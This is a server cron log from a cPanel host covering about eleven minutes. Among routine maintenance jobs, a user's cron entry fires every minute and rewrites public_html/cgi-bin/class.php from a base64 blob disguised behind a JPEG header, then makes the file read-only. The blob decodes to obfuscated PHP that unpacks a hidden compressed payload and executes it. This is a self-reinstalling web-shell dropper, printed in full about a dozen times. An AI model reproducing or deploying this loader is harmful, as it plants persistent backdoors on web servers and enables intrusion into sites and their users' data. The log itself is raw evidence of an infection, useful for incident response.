Sep  3 14:29:01 server CROND[19637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:30:01 server CROND[20026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:30:01 server CROND[20027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:30:01 server CROND[20029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:30:01 server CROND[20030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:30:01 server CROND[20037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:30:01 server CROND[20038]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:30:01 server CROND[20040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:30:01 server CROND[20041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:31:01 server CROND[20851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:31:01 server CROND[20852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:31:01 server CROND[20853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:32:01 server CROND[21223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:32:01 server CROND[21224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:32:01 server CROND[21225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:33:01 server CROND[21716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:33:01 server CROND[21715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:33:01 server CROND[21717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:34:01 server CROND[22097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:34:01 server CROND[22098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:34:01 server CROND[22100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:35:01 server CROND[22482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:35:01 server CROND[22491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:35:01 server CROND[22499]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:35:01 server CROND[22504]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 14:35:01 server CROND[22505]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:35:01 server CROND[22500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:35:01 server CROND[22501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:35:01 server CROND[22502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:35:01 server CROND[22503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:36:01 server CROND[23486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:36:01 server CROND[23487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:36:01 server CROND[23488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:37:01 server CROND[24118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:37:01 server CROND[24119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:37:01 server CROND[24120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:38:01 server CROND[24589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:38:01 server CROND[24590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:38:01 server CROND[24591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:39:01 server CROND[24973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:39:01 server CROND[24974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:39:01 server CROND[24975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:39:01 server CROND[24978]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 14:40:01 server CROND[25363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:40:01 server CROND[25365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:40:01 server CROND[25367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:40:01 server CROND[25370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:40:01 server CROND[25368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:40:01 server CROND[25372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:40:01 server CROND[25369]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
